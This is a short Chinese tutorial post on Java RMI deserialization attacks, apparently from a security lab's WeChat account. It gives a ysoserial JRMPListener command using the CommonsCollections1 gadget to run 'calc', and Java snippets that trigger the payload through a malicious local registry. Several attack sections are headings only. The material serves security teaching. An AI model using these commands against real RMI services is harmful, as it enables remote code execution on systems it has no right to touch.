基础知识
动态代理
反射
攻击方式
注册端攻击服务端
java -cp .ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException, RemoteException {
//开启一个恶意的reg,然后server去过去链接注册,则会中招
String url = "rmi://127.0.0.1:1099/setUser";
Naming.unbind(url);
}
注册端攻击客户端
public static void main(String[] args) {
//PS F:toolsEXP> java -cp .ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
try{
String url = "rmi://127.0.0.1:1099/exp";
User user = (User) Naming.lookup(url);
}catch(Exception e){
e.printStackTrace();
}
}
服务端攻击注册端
-
注册端开启
-
Server端利用CC1进行攻击
服务端攻击客户端
-
服务端将恶意类注册
-
客户端加载执行
往期回顾
CTF真题php在多重限制下的情况下如何执行命令?
原文始发于微信公众号(雷石安全实验室):java安全-02RMI
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论